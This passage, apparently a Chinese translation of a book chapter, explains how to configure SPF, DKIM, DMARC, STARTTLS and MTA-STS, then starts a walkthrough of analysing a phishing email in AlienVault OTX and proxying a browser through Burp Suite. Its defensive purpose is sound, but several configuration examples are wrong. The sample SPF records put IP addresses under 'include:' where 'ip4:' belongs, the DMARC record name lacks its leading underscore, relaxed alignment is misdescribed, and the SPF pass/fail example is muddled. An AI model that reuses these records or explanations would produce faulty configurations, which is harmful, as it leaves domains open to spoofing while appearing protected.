DKIM 的最终弱点不是漏洞,而是一个缺陷。DKIM 实现起来非常出色,可以保护组织的声誉——但前提是接收方的邮件服务器配置为检查 DKIM 签名,并对声称来自启用 DKIM 的域的邮件采取行动;否则,您的组织声誉仍然可能受到损害。

发件人政策框架

与 DKIM 类似,发件人政策框架(SPF)也通过使用 DNS TXT 记录来防止欺骗。在这些 TXT 记录中,SPF 定义了允许从邮件环境内或代表某个域发送邮件的域、主机列表、域名和 IP 地址。

虽然有些来源将 SPF 描述为验证发件人,但更恰当的描述是将其作为验证框架;如果配置为如此,接收方将检查来自 5322 和 5321 字段的发件人信息,以授权发件人,正如 SPF 记录中所定义的。如果记录配置为 硬失败,则邮件将失败;如果配置为 软失败,则邮件将成功。

为了了解这如何运作,假设有人伪造了一个域名的电子邮件。收件人检查 SPF 记录,并注意到发送域名配置了硬失败;而且,发送者没有在记录中列出。此外,SPF 策略设置为通过。在这种情况下,邮件将无法到达其目的地。如果没有 SPF 记录,或者策略设置为 none 或配置为软失败,邮件将成功送达。

由于 SPF 不需要加密,SPF 和 DKIM 是互补的,而不是竞争关系。SPF 基于逻辑,通过将传入的值与列表进行比较。主机、域名或 IP 地址要么在记录中,要么不在。DKIM 则采用逻辑和加密的结合形式,通过数字签名。你可以在 RFC 7208 中阅读更多关于 SPF 的信息,SPF 在 2014 年被引入。

实现 SPF

让我们在 Google Workspace 中实现 SPF。首先,确定任何服务提供商,例如 Google 或 Outlook,以及允许代表你的组织发送邮件的关联域名。(你可以在 MX 记录中指定这些域名。)如果你正在运行内部邮件服务器,例如 Exchange,还需要确定授权代表组织发送邮件的网络块。

然后,为这些域名和 IP 地址选择适合各种情况的策略:

  1. 通过(+)允许所有邮件通过(不推荐,除非用于短期故障排除)

  2. 无策略(?),中立 实际上意味着 没有策略

  3. 软失败(~)介于失败和中立之间;通常这些邮件会被接受,但会被标记

  4. 硬失败(-)拒绝邮件

作为备选方案,你可以配置类似 +all(不推荐,因为它会允许所有邮件),+mx(允许来自 MX 记录中列出的主机的邮件;如果使用 Google 或 Office 365 等云邮件服务,不推荐使用),或者 +nostarch.com(这将允许来自 nostarch.com 的邮件)。

一旦你有了这些信息,你就可以准备创建记录。首先,进入你托管提供商的 DNS 编辑器,并创建一个新的 TXT 记录。或者,编辑任何已经包含 v=spf1 的现有 TXT 记录,如下所示:

dig walmart.com txt

; <<>> DiG 9.11.3-1ubuntu1.13-Ubuntu <<>> walmart.com txt
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6907
;; flags: qr rd ra; QUERY: 1, ANSWER: 15, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
; walmart.com.                   IN      TXT

;; ANSWER SECTION:
walmart.com.            300     IN      TXT     "v=spf1 
include:_netblocks.walmart.com include:_smartcomm.walmart.com 
include:_vspf1.walmart.com include:_vspf2.walmart.com 
include:_vspf3.walmart.com ip4:161.170.248.0/24 ip4:161.170.244.0/24 
ip4:161.170.241.16/30 ip4:161.170.245.0/24 ip4:161.170.249.0/24" " ~all"
`--snip--`
;; Query time: 127 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Tue Sep 08 05:42:49 UTC 2020
;; MSG SIZE  rcvd: 1502 

将生存时间(TTL)值设置为默认的 14,400。TTL 值是 DNS 递归解析器缓存 SPF 记录的时间,之后会拉取新的记录(如果它已更改)。一些内容,如关键资产和负载均衡器,最好使用非常小的 TTL。建议像 MX 记录这种不需要频繁更改或已经具备冗余的资产,使用较大的 TTL 值。这是为了应对像快速变化的域名(fast flux)或动态 DNS 记录等技术,这些技术通常用于复杂的钓鱼攻击和针对社交媒体网站的攻击。

然后将 TXT 记录命名为组织的域名。对于实际文本,输入 v=spf1,后跟之前讨论的机制和策略。要定义这些机制,你需要了解允许的五种字段类型:

  1. ip4 IPv4 地址或 CIDR 范围

  2. ip6 IPv6 地址

  3. mx 发送者在 DNS 中的 MX 记录

  4. a DNS 中主机的地址记录

  5. include 引用其他域的策略

现在,构建要输入 DNS 的字符串。假设你将允许使用nostarch.com的 MX 记录的主机,除了 MailChimp 和一个私人、不可路由的 IP 地址范围外,还有一个硬失败。要输入 DNS 的文本将是这样的:

v=spf1 +mx include:192.168.1.22 include:192.168.2.0/24 include:servers.mcsv.net -all

你也可以用另一种方式写这个记录。在第四章中,你了解到 No Starch 使用 Google Workspace,因此你可以将+mx部分替换为 Google 的服务器(可以在 Workspace 仪表盘中找到)。为了保持这一行简洁,你将移除 MailChimp SPF 的include机制。替代的条目将是这样的:

v=spf1 include:_spf.google.com include:192.168.1.22 include:192.168.2.0/24 -all

一旦你将其粘贴到 DNS 记录中,允许最多 72 小时才能传播。互联网中各个 DNS 服务器需要时间来复制更新的信息。这段时间主要取决于 TTL(生存时间)值,TTL 指示服务器在刷新前缓存信息的时间。根据我的经验,SPF 几乎可以立即生效,不像 DKIM 那样。无论你是否使用 Google 作为邮件提供商,你仍然可以使用 Google Admin Toolbox Check MX 网站来验证所提供的信息。你可以在toolbox.googleapps.com/apps/checkmx/找到该工具箱。你可以在email-security.seosint.xyz/找到有关在其他平台上配置 SPF 的说明。

SPF 的缺点

记得在第四章中提到,SPF 允许攻击者枚举一个组织拥有或使用的域、IP 地址和 IP 地址范围。攻击者还可能通过检查 TXT 记录中的-all(硬失败)、~all(软失败)或~?(中立)部分来判断目标是否配置了硬失败或软失败。这些信息可能会影响他们是否决定伪造你组织的域名,或者是否占用类似的域名。一个细心的社会工程师甚至可能在其钓鱼域上配置 DKIM 和 SPF,以绕过任何组织可能已实施的检查,前提是他们实际上执行了任何政策。

SPF 还可以提醒攻击者你与其他组织的工作关系。如果其他域需要获得代表你发送电子邮件的权限,你可能需要为它们创建 SPF 记录。需要权限代表组织发送电子邮件的域名示例包括像 MailChimp、Mailgun 或 Constant Contact 这样的邮件列表。还需要考虑其他代表组织发送电子邮件的提供商,如 GoToMeeting 或类似的协作平台。

SPF 的最终方面不是漏洞,而是一个不足之处。像 DKIM 一样,SPF 是值得实现的,它可以保护组织的声誉,但前提是接收方邮件服务器已配置为检查 SPF 记录并强制执行定义的策略。然而,如果未进行此操作,可能会损害组织的声誉。

基于域的消息认证、报告与一致性

DMARC 利用现有的 SPF 和 DKIM 实现,创建了一个更加稳健的解决方案,以防止欺骗、商业邮件泄露和声誉损害。DMARC 于 2015 年作为互联网标准首次发布(RFC 7489),旨在克服 SPF 和 DKIM 的局限性:它实现了这两个早期标准,但还会将成功与失败报告给发送域。DMARC 检查邮件的对齐,即 5322.From 字段是否与认证的域名匹配。换句话说,它验证邮件中声明来自 info@nostarch.com 的From 字段,是否确实来源于该域。邮件可以通过 SPF 和 DKIM,但在对齐方面失败。

当通信使用 DMARC 时,会发生以下情况。首先,用户撰写一封电子邮件。发送邮件的服务器将 DKIM 头部信息插入邮件中,然后将其发送给收件人。从那里开始,为了让邮件通过实施强制 DMARC 策略的组织,必须满足两个条件。首先,邮件必须通过 DKIM 签名检查(5322.From,使用 DNS 中包含的公钥进行验证)。其次,邮件必须通过 SPF 检查(5322.From)和 TXT 记录。根据这些检查的结果,DMARC 记录将指定服务器应该接受或拒绝该邮件。如果检查失败,会进行报告。邮件会经过收件人所采取的任何处理或过滤器,如果一切通过,邮件将进入收件人的收件箱。

DMARC 被广泛使用。多个合规框架要求使用 DMARC,包括美国联邦机构,根据国土安全部的《绑定操作指令 18-01》。如果你跟进过供应商的市场宣传资料,你可能会记得 2017 年大量供应商利用该指令推销 DMARC 和电子邮件安全工具。但这些实现没有强制执行的策略或技术配置,无法在最小化人工干预的情况下执行操作,这些实现是毫无价值的。此外,收件人必须实际检查记录并强制执行他们的策略。

有两份 RFC 用于更新 DMARC:RFC 8553,解决了在节点名称中使用下划线的问题;以及 RFC 8616,解决了在 SPF、DKIM 和 DMARC 中使用 ASCII 字符时未涵盖国际使用字符的问题。

实现 DMARC

在实现 DMARC 之前,你必须先实现 SPF 和 DKIM。然后,你需要收集信息以便填入 TXT 记录。你可以在 RFC 7489 第 6.3 节中找到完整的记录格式定义,但至少需要以下信息:

  1. DMARC 的版本(v) 当前使用的 DMARC 版本。目前为 1,表示为v=DMARC1

  2. 策略(p) 要应用于特定域的策略。

  3. 子域名策略(sp) 仅适用于发送域的子域名的策略,例如来自 info@us.nostarch.com 的邮件,但不包括来自 info@nostarch.com 的邮件。如果没有sp字段或限定符,组织将执行主p字段的策略。

  4. 应用该策略的“坏邮件”百分比(pct) 一个介于 0 到 100 之间的数字,决定将该策略应用于域名所有者的邮件的百分比。

  5. rua标签 该标签指定接收报告的电子邮件地址。OSINT 收集器可以读取并利用这些信息,因此建议使用别名。

除版本外,DMARC 记录中的所有字段都需要限定符。例如,policy字段接受nonequarantinerejectnone限定符不执行任何操作,quarantine将邮件重定向到垃圾邮件文件夹或发送给管理员,reject则会拒绝邮件。

你还可以添加法医报告选项以及转发法医报告的地址。法医失败报告标签(fo)决定哪些事件会生成法医报告。它有四个选项:0,当所有机制失败时生成失败报告;1,当任何机制失败时生成失败报告;d,当 DKIM 失败时生成 DKIM 失败报告,不管对齐情况;s,当 SPF 失败时生成 SPF 失败报告,不管对齐情况。ruf标签指定接收法医报告的电子邮件地址。和rua标签一样,OSINT 收集器可以读取并利用这些信息,因此建议使用别名。

另外两个字段,adkimaspf,决定所有者是否要求对齐模式,这决定了如果电子邮件未通过 SPF 或 DKIM 时应采取的措施。两者都有r(宽松)和s(严格)两种可能的值。宽松模式只要求域名完全匹配,而严格模式要求完全精确匹配才能通过。两者都是可选的,默认设置为宽松模式。

这可能看起来信息量很大。为了应用这些内容,让我们为nostarch.com配置一个 DMARC 记录:

v=DMARC1; p=quarantine;pct=95; rua=mailto:dmarc@nostarch.com; fo=1; ruf=mailto:soc@nostarch.com;

该记录为域名设置了一个隔离策略。它适用于 95%的邮件,任何失败都会触发法医报告,法医报告将发送到 soc@nostarch.com。你将设置接收一般 DMARC 报告的电子邮件地址为 dmarc@nostarch.com

一旦你草拟好这个内容,你需要将其添加到nostarch.com的 DNS 区域文件中的 TXT 记录,名称为dmarc,TTL 值为14400

DMARC 的不足之处

除了 SPF 中存在的相同信息泄露问题,以及你的邮件收件人可能不会检查 SPF 或 DKIM 外,DMARC 本身并不会引入重大问题或漏洞。

也就是说,仅仅创建 DMARC 的 DNS TXT 记录并不能立即确保您的安全。例如,您可能很容易配置错误您的 DMARC 实现。在初始配置 DMARC 时,避免拒绝电子邮件,因为这会删除人工审核邮件有效性的能力,并可能导致业务中断或邮件传递错误。

缓解这一问题很简单:首先将初始的 DMARC 策略设置为none,并审核 100%的电子邮件(p=none; pct=100;)。随着时间的推移,逐步降低pct字段,直到您对报告和性能感到满意。一旦达到了理想的水平,您可以将审核百分比更改为一个可管理但现实的值。我建议企业设置为 60%到 85%,具体取决于您的资源。然后更新 DMARC TXT 记录以反映这一点(p=quarantine; pct=75;)。

请记住,试图通过电子邮件获取您组织访问权限的攻击者可能会利用工具来增强其合法性,因此不要仅仅依赖 SPF、DKIM 和 DMARC。例如,如果一个攻击者通过配置了 SPF、DKIM 和 DMARC 的其他组织进行了攻击,并且通过合法渠道向您的组织发送电子邮件,那么它将通过与这三个标准相关的所有检查。

DMARC 未解决的另一个威胁向量是加密。这三个标准并未提供加密电子邮件的方式。当然,DKIM 使用了加密技术,但仅仅是用于签名电子邮件。接下来的部分将介绍如何解决这一问题。

机会性 TLS

在最初设计时,SMTP、POP 和 IMAP 邮件协议并不包括加密。随着攻击的发展,研究人员创建了机会性传输层安全性(TLS)来加密它们。您有时会看到它被昵称为STARTTLS,这是用于启动该服务的命令。

以下是 STARTTLS 的工作原理。首先,发送服务器像往常一样连接到接收服务器。然后,它请求扩展 SMTP,允许图片和附件。从这里,发送方询问接收服务器是否支持 STARTTLS。如果回答是“是”,连接将重新启动并使用双方主机达成协议的 SSL 或 TLS 协议版本来加密电子邮件。如果回答是否定的,电子邮件将不加密地继续发送。另一种变体,称为强制 TLS,如果连接没有得到加密,邮件将无法发送。由于无法协商加密而导致邮件被阻止的可能性,强制 TLS 的使用并不广泛。

STARTTLS 的最大问题在于它是机会性的,这意味着只有在可用时才使用加密。如果没有可用的加密或加密支持,邮件将以明文方式发送。STARTTLS 的另一个问题是加密握手本身发生在明文中,这使得潜在攻击者能够通过中间人攻击窃取会话信息或篡改邮件内容。你可以在STRIPTLS 攻击中看到这两个问题被利用,攻击者要么禁用实际的 STARTTLS 命令,要么让 TLS 看起来不可用。通过配置 SMTP 要求传出连接使用 TLS,可以减轻 STRIPTLS 的影响,但如果配置错误 TLS 或接收方未配置为接收 TLS 邮件/阻止该端口,可能会丧失发送邮件服务。

另一个减轻 STRIPTLS 的方案是域名系统安全扩展(DNSSEC)下的一个子功能,称为基于 DNS 的命名实体认证(DANE)。实现 DANE 需要组织创建一个 DNS 记录,指引所有在特定端口或协议上的通信,通过在 DNS 中放置公钥来协商会话。这也可能被滥用或作为开放源情报(OSINT)的一部分收集,就像任何公开的 DNS 记录一样,攻击者可以查询 DNS 记录并从中推断信息。虽然这种缓解方案本身很容易实现,但总体来说,DNSSEC 并不简单,因此我们尚未看到其广泛应用。

与 DANE 开发的时间相近,另一种解决相同问题的方案(STRIPTLS)也在草拟中:SMTP MTA 严格传输安全(MTA-STS)。

MTA-STS

SMTP MTA 严格传输安全(MTA-STS) 是另一种实现 TLS 来保障电子邮件通信安全的方法。在这种方法中,双方使用 DNS TXT 记录以及上传到发送域预定义的、公开可访问的子域的特定目录中的文件,来协商 TLS 握手。

该标准仅适用于邮件服务器之间的 SMTP 流量。客户端与服务器之间的通信通过 HTTP 严格传输安全(HSTS)来实现。由于实现 MTA-STS 的复杂性,我不会在这里详细讲解过程。你可以在 email-security.seosint.xyz/ 查找教程链接。

TLS-RPT

SMTP TLS 报告(TLS-RPT) 是一种收集有关 TLS 协商失败统计信息的方法,及相关域。可以将其视为类似 DMARC,如果 MTA-STS 是 DKIM 元素的话。你可以使用这些信息进行故障排除或威胁情报分析。

设置 TLS-RPT 相对简单,只需在 DNS 中添加一个包含 _smtp._tls.``domain.tld 的 TXT 记录,并在邮件正文中包含报告地址。如果加密方式(DANE 或 MTA-STS)出现错误,报告邮箱将收到通知。以下是 nostarch.com 的示例:

_smtp._tls.nostarch.com  300 
"v=TLSRPTv1;rua=mailto:soc@nostarch.com"

第一行是字段名和 TTL。第二行是值。在这里,我们已将 TTL 设置为 300,并将报告发送到 soc@nostarch.com

电子邮件过滤技术

实现电子邮件安全的最后一步是使用过滤技术。通常,这意味着聘请供应商或服务提供商在你收到邮件之前接收它们。供应商会扫描它们,查找在所有客户端中观察到的模式,并检查 SPF、DKIM 和 DMARC(如果已配置)。电子邮件过滤并不完美,但确实减少了技术人员的负担。不过,请记住,聘请供应商可能需要你更改公共 DNS 记录,而你可以通过前面讨论过的 OSINT 技术发现这些关系。

市面上有许多配置和产品。在选择供应商时,考虑他们每分钟或每秒钟处理的电子邮件量。还要决定是否希望通过软件、硬件设备或云服务来维护电子邮件过滤。每种选择都有独特的挑战,尤其是在实施、支持、可用性和报告方面,而且每种方式都提供不同的功能。电子邮件过滤在云实例中可能更容易实施,因为这些实例可以最好地保护电子邮件的可用性。然而,任何需要配置的决定,特别是超出 DNS 记录的配置,可能会带来失败、干扰或不良安全性的问题。如果你选择使用云服务提供商,你还将依赖于服务水平协议(SLA)以及与你供应商的合同。尽管如此,它们确实简化了流程;你只需更新 DNS 区域文件中的 MX 记录并选择适当的选项。

一些供应商还会为你维护和管理你的 SPF、DKIM 和 DMARC 实现。权衡可能导致系统中断的风险与使用该系统所能获得的收益。供应商是否提供其威胁情报?这是否是供应商的专业服务?合同内容包含什么?

其他保护措施

作为安全专业人员,我们必须构建我们的系统,使其不仅能应对日常使用,还能承受滥用,并能在足够长的时间内容纳这些行为,让我们可以检测并响应。这是 Winn Schwartau 的书《基于时间的安全》(Impact PR, 1999)中的核心观点,基于时间的安全

在防止钓鱼攻击时,考虑实施超出单纯电子邮件控制的措施。虽然我们在本章中不讨论这些措施,但要实施恶意软件防护,无论是杀毒软件、终端检测与响应(EDR)还是其他任何反恶意软件产品。大多数恶意软件通过电子邮件进入网络,当用户从成功的钓鱼邮件中下载它时。

另外两种技术可以防止钓鱼攻击造成灾难性后果:文件完整性监控(FIM)和数据丢失防护(DLP)系统。FIM 监控一组文件是否被修改。你可以编写一个简单的 FIM 解决方案,对每个文件进行加密哈希计算并将其存储在某个地方。然后,它会验证文件是否未被更改,如果更改了,还会检查更改是否被授权。这对于检测已进入网络的恶意行为者非常重要。如果文件内容未经授权发生了变化,可能意味着新应用程序正在运行或被安装、勒索软件的存在,或者有人篡改了重要文件。

数据丢失防护(DLP)旨在防止用户将文件通过电子邮件发送到组织外部,上传到公共互联网和文件共享网站(如 Google Drive、Box 和 Dropbox),以及将数据保存到未经授权的 USB 设备上(如果有的话)。许多 DLP 解决方案还具备防止用户共享敏感或受监管数据的能力,例如支付卡行业(PCI)数据、个人健康信息(PHI)和个人身份信息(PII)。这很重要,因为它可以防止用户泄露商业机密、知识产权和重要资产。它还消除了用户将 USB 驱动器插入工作站的许多理由,从而减少了成功的诱饵攻击的可能性。

结论

在本章中,你采取了一些措施使你的组织变得更加安全。你了解了三种旨在遏制电子邮件欺骗的安全标准,以及每种标准的不足之处。(如果你像我一样,可能已经对字母RFC产生了特别的厌恶。)

运用本章中的信息,你可以将这些概念和标准应用到你的组织中,构建多层防御。你可能需要向管理层解释,SPF、DKIM 和 DMARC 不是防止钓鱼攻击的绝对解决方案,即使它们已经到位,组织也应该考虑安装更多的控制措施,例如电子邮件过滤解决方案。

在组织选择最符合合规需求和预算的电子邮件过滤解决方案后,花时间正确实施该解决方案。然后,通过钓鱼模拟进行测试。如果模拟被拦截,那就太好了。接下来,你可以将其从隔离区释放出来,测试用户。如果模拟攻击成功通过,与你的供应商合作,找出原因并解决问题。

第十二章:生成威胁情报

所以你的组织成功防御了钓鱼攻击,恭喜!那么,如何在面对未来的攻击时重复这种结果呢?你的组织是否希望与其他组织共享这些情报?你的组织是否会捕获并存储关于此次攻击的数据,以防止进一步的尝试?你是否会记录在钓鱼邮件中发现的任何恶意软件投放器代码,最终传播勒索软件的?

当发生安全事件时,应该有三件有用的事情发生。首先,组织应该通过使用软件自动化响应,软件要么主动阻止攻击,要么运行脚本来停止正在进行的事件。其次,组织可以收集每次攻击的信息,以减少未来的检测和响应时间。最后,组织可以将部分信息共享给其他组织,让大家共同减少检测和响应时间。

尽管一些威胁情报源可能是空头支票,但许多情报源确实是有用的产品。然而,单靠他人提供情报来帮助你的组织防御其所建设并负责的环境,显得过于天真。虽然采纳那些具有趋势和行动者洞察力的专家的意见是一个明智之举,但这不应该是唯一的选择。

在本章中,我们将通过使用一个免费的情报共享平台:AT&T Alien Labs OTX(有时仍被称为 AlienVault OTX),来创建有关钓鱼邮件的威胁情报。我们还将重用你在本书前面学到的许多 OSINT 技术,这一次的目的是验证一个 URL 或邮件是否具有恶意。

在你跟着操作之前,我建议先设置一个虚拟机。这样,你可以避免打开任何附带的文件,从而防止可能的恶意软件感染你的工作站。

使用 Alien Labs OTX

一些威胁情报供应商会向组织收费以获取情报,而其他供应商则向组织收费以生成情报。但有一家供应商是完全免费的,并允许任何人贡献情报,那就是 AT&T Cybersecurity。前身为 AlienVault,这家公司运营着 Alien Labs Open Threat Exchange(OTX)平台,允许你订阅情报源并发布你自己的信息。

不可否认,它的主要优点(即免费)也是其主要缺点,但一个积极的方面是,你不必仅仅因为情报出现在平台上就消费它;你必须选择你希望订阅的情报源(免费)。

如果组织使用 AT&T Cybersecurity 的统一安全监控(USM)或开源 SEIM(OSSIM)作为其 SEIM,组织可以通过将 SEIM 与 OTX API 同步,直接将你订阅的脉冲输入到 USM 中。如果组织没有使用 USM,它可以将 OTX 直接与 Suricata、Bro 和受信任的自动化指标信息交换(TAXII)连接;否则,它可以使用 Java、Python 或 Go API。

一旦组织拥有所需格式的指标,它可以立即使用其选择的方法进行搜索——自定义脚本、YARA、STIX、TAXII 或类似的工具。这将使组织能够识别并应对已知的威胁。

在 OTX 中分析钓鱼邮件

那些只有你所在的组织观察到的威胁怎么办?你的组织如何更好地检测未来的攻击,并可能帮助其他组织避免今后遇到相同的问题?这里有一个简单的答案:生成威胁情报。

知道从哪里开始是进入的一个重大障碍。由于这只是一本关于社会工程学和 OSINT 的书中的一章,我将省略关于生成威胁情报的哲学性辩护。相反,让我们一起完成一个练习。

首先,你需要一些数据来生成威胁情报。这可以是电子邮件、网站或文件。为了涵盖这三方面,假设组织收到一封电子邮件,指示用户访问一个网站,网站提示他们输入凭证,并在用户提交凭证后下载并尝试执行一个文件。你可以使用 GitHub 仓库中的名为invoice.eml的文件,访问地址为cti.seosint.xyz/

创建脉冲

登录到 OTX 并在 OTX 仪表板上选择创建脉冲,这是你每次登录后会进入的页面(图 12-1)。在 OTX 中,脉冲是特定攻击的妥协指标集。

<<OTX 仪表板显示用户订阅的脉冲标签列表,包括“ IcedID GZIPLoader 分析”、“针对未修补的交换服务器使用的 Dearcry 勒索软件”以及“Fin8 带着改进的 BADHATCH 工具包回归”。>>

图 12-1:OTX 仪表板

你将看到一些选项来创建脉冲(图 12-2)。你可以导入文本或网站,或者手动输入指标。

<<OTX 创建新脉冲页面。左侧,输入文本/源 URL 的选项,OTX 会自动提取该 URL 来获取妥协指标。右侧,拖放或手动浏览文件以添加指标的选项。>>

图 12-2:在 OTX 中创建脉冲

让我们从复制并粘贴电子邮件的完整源代码开始。

分析电子邮件源代码

我喜欢使用 Thunderbird 查看电子邮件源代码。这是一个由 Mozilla 维护的免费开源邮件客户端。安装并运行 Thunderbird 后,你可以将任何保存的 .eml 格式电子邮件导入到 OTX 并开始分析。在 Thunderbird 中,首先打开电子邮件。然后在右上角,选择 更多查看源代码 (图 12-3)。

<<Thunderbird 窗口显示电子邮件,声明用户的 PayPal 账户已被暂停,并且用户需要确认他们的身份。在右上角的更多下拉菜单中,“查看源代码”被高亮显示。>>

图 12-3:在 Thunderbird 中查看电子邮件源代码

一旦电子邮件以源代码形式打开,你应该能看到类似 图 12-4 中的摘录。这是发送电子邮件时传输的底层数据轨迹,包括执行的所有检查和电子邮件的源地址与目标地址。你可以通过这种方式查看任何可下载的电子邮件,有时甚至在邮件客户端本身中。例如,在 Gmail 中,你可以点击电子邮件右上角的三个点,然后选择“显示原始邮件”。

<<电子邮件源文件摘录,位置在 file:///Users/joegray/Downloads/Invoice%20_Remittance%2010022.eml?type=application/x-message-display。作者部分审查。>>

图 12-4:钓鱼电子邮件的来源

查看电子邮件的源代码非常重要。这样你可以看到电子邮件真正来自哪里,而不是依赖于可能被伪造的源地址。你将看到真实的电子邮件地址和伪造的电子邮件地址,以及发件人的 IP 地址。

当将此电子邮件复制并粘贴到脉冲中时,要小心不要包含你邮件服务器的 IP 地址或任何其他来自信誉良好的邮件供应商的地址。如果你添加了这些并开始搜索,你将收到大量的误报,如果没有调优,这些误报将导致自满。

输入指标

现在你已经从源代码中获得信息,准备好导入一些指标了。指标是与正在捕捉的脉冲活动相关的数据点。表 12-1 列出了 OTX 接受的指标。

表 12-1:OTX 接受的指标

指标类型 描述
IPv4 托管钓鱼或恶意软件的源电子邮件服务器或网站的 IPv4 地址。
IPv6 托管钓鱼或恶意软件的源电子邮件服务器或网站的 IPv6 地址。
域名 源电子邮件服务器或托管钓鱼或恶意软件的网站的域名。
主机名 托管钓鱼或恶意软件的源电子邮件服务器或网站的主机名或子域名。
电子邮件 源电子邮件地址。
URL 托管钓鱼或恶意软件的网站的统一资源定位符(URL)。
URI 托管钓鱼或恶意软件的网站的精确位置的统一资源标识符(URI)。

| 文件哈希 | 对钓鱼邮件中包含的恶意文件进行的一种单向加密表示。可以通过多种格式完成,包括以下几种: |

  • MD5:使用消息摘要 5 算法(MD5)对文件进行的 128 位加密表示。 |

  • SHA-1:使用安全哈希算法(SHA-1)对文件进行的 160 位加密表示。 |

  • SHA-256:使用安全哈希算法 256 位(SHA-256)对文件进行的 256 位加密表示。 |

|

PEHASH 可移植可执行哈希(peHash)是一种模糊哈希方法,与其对整个文件进行哈希不同,它通过提取可执行文件中的多个变量并对其逐字节哈希来完成。
IMPASH 导入哈希(IMPASH);类似于 peHash,但跟踪代码导入的 DLL 和其他文件。
CIDR 无类域间路由(CIDR)是一个网络 IP 地址范围的地址,表示域拥有的基础 IP 和可能的子网数量。格式通常为 xxx.xxx.xxx.xxx/yy,其中 xxx.xxx.xxx.xxx 是基础 IPv4 地址,yy 是一个介于 1 和 32 之间的数字,表示该块内可能的子网和主机数量。你通常会看到该范围内的数字在 24 到 32 之间。
文件路径 工作站中发现恶意文件的唯一位置。此路径显示了统一行为,可能是通过脚本实现的。
MUTEX 互斥对象(MUTEX)是程序中的一个对象,旨在允许多个线程共享资源(如文件访问),但不能同时共享。
CVE 公共漏洞与暴露(CVE)是负责任地披露的漏洞。将 CVE 包括在脉冲中,可以让其他人在订阅信息流时搜索该 CVE。这在钓鱼邮件试图基于现有漏洞进行某种程度的技术利用时尤其有用。
YARA YARA 是“又一个递归缩写”或“又一个正则表达式(REGEX)分析器”的缩写。这是一种匹配文件中的模式并在环境中迭代的方式,通常使用 SEIM 或自定义的 YARA 工具,支持 Windows、macOS 和 Linux。

将整个电子邮件源复制并粘贴到图像中的左侧框中,然后选择 提取指示器(图 12-5)。这会自动进行解析,但你仍然需要检查这些指示器并确保它们的准确性。 |

<<OTX 创建新脉冲页面,聚焦于“输入来源 URL 或文本”字段,已输入邮箱来源,字段下方是“提取指示器”按钮。>>

图 12-5:OTX 指示器提取 |

如你在图 12-6 中看到的,解析器从你粘贴的电子邮件中提取了三个指示器。 |

<<“包含的 IOC”标签在解析结果中显示了三个提取的指示器及其类型—IPv4、主机名和电子邮件,类型通过红色框标出。>>

图 12-6:包含的指示器 |

你需要验证这些指标是否属于该脉冲。由于你通过检查邮件源知道列出的邮件是发件人的,你不需要再次检查它。但你需要检查这些域名和 IP 地址。为了完成这一点,我们做一点 OSINT(开放源情报收集)。

你需要确定以下内容:每个域名和 IP 地址的所有者是谁?该域名和 IP 地址是否有合法用途?域名所有者是否控制其服务中传递的数据?这些 IP 地址是否属于邮件提供商?或者我们是否拥有该域名或 IP 地址?

图 12-7 中的可能 IOC 并不是有价值的威胁情报,因此如果 OTX 没有排除它们,你将需要将它们排除。你将在后续过程进行排除,以避免重复分析这些指标。

<<"排除的 IOC" 解析结果标签显示了 13 个被排除的指标及其类型(IPv4、URL 和主机名)以及排除原因,包括“手动排除”、“私有 IP 地址”和“白名单域 outlook.com。” >>

图 12-7:排除的指标

现在,你转到排除的 IOC 列表。你对每个排除的 IOC 项目,重复你对已包含 IOC 所采用的相同过程。一开始,你就能看出这些项目中有些并不属于指标列表。

从这个提取结果中,继续移除以下内容:三个明显的微软地址(by5pr19mb3713.namprd19.prod.outlook.comby5pr19mb3970.namprd19.prod.outlook.comnam12-mw2-obe.outbound.protection.outlook.com);两个明显的谷歌地址(mail-sor-f41.google.commx.google.com);一系列 GoDaddy 地址(p3plibsmtp01-08.prod.phx3.secureserver.netp3plsmtp21-01-26.prod.phx3.secureserver.netp3plsmtp21-01.prod.phx3.secureserver.net);以及 10.186.134.206,这是一个 A 类私有、不可路由的内部 IP 地址。

在 Burp 中测试潜在恶意域名

OTX 声称 docsend.com 是一个被列入白名单的域名,但它确实允许用户上传文件。这意味着,最好继续检查发送者试图迫使受害者打开的内容。在数字取证和恶意软件领域,这被称为引爆。如果你在一个没有保护的系统上进行引爆,可能会受到感染,所以我建议使用专门的系统,或者至少使用专用的虚拟机来处理此类操作。

除了虚拟机外,我建议确保安装了恶意软件防护(如果适用),启用主机和网络级别的防火墙,使用 VPN,并且(如果你对它感到舒服的话)使用 Tor 浏览器(或 Brave 浏览器——它提供类似的功能),不过你需要选择“使用 Tor 打开新隐私窗口”。你可能会遇到一些麻烦的东西,而你可不希望在进行合法的安全研究时,自己掉进法律的陷阱。

打开您的虚拟机,确保它与您的主网络处于不同的系统和网络段,并且在该系统与其他家庭实验室和网络之间运行防火墙和安全设备。根据您计划执行的分析级别,您可以选择使用 Linux 虚拟机或 Windows 虚拟机。如果您希望更好地理解攻击的运作方式,可能想使用一个易受攻击的 Windows 系统。

在您的主机上安装 Burp Suite。Burp 是一个网页代理,允许您拦截和更改在您和网站之间传输的数据。它使您能够查看系统向网站发出的请求及其响应。您还可以控制任何弹出窗口和许多意外的动作,比如重定向到恶意网站。要安装 Burp,下载免费版社区版的副本,网址为portswigger.net/burp/communitydownload/。这将包含一个类似于 burpsuite_community_linux_v<#>_#_##.sh 的脚本。输入最新版本到这里显示的命令中:

chmod 744 burpsuite_community_linux_v<#>_#_##.sh
./burpsuite_community_linux_v<#>_#_##.sh

安装完成后,您可以通过点击 Burp 图标或在操作系统菜单中输入Burp来使用图形界面打开 Burp。Burp 会提示您创建一个项目。点击下一步,接着您将被提示接受 Burp 默认配置或加载配置文件。保持默认设置应该没有问题。

接下来,您需要将浏览器的流量通过 Burp 路由。为此,打开 Firefox,点击菜单图标,然后滚动到页面底部。点击网络设置。您应该会被提示输入代理信息,如图 12-8 所示。选择手动代理配置,然后输入 IP 地址127.0.0.1作为 HTTP 代理和端口8080。选择使用此代理服务器进行所有协议的选项。

现在您已安装 Burp 并配置 Firefox 通过 Burp 路由流量,打开 Burp 并确保它已配置为拦截流量。为此,选择Proxy标签页,然后点击Intercept。最后,确保 Intercept 已开启。

<<Firefox 首选项页面显示“连接设置”框,其中有“配置代理访问互联网”的选项。红框标出: “手动代理配置”选项、“127.0.0.1”HTTP 代理、“8080”端口,以及“也将此代理用于 FTP 和 HTTPS。”复选框。>>

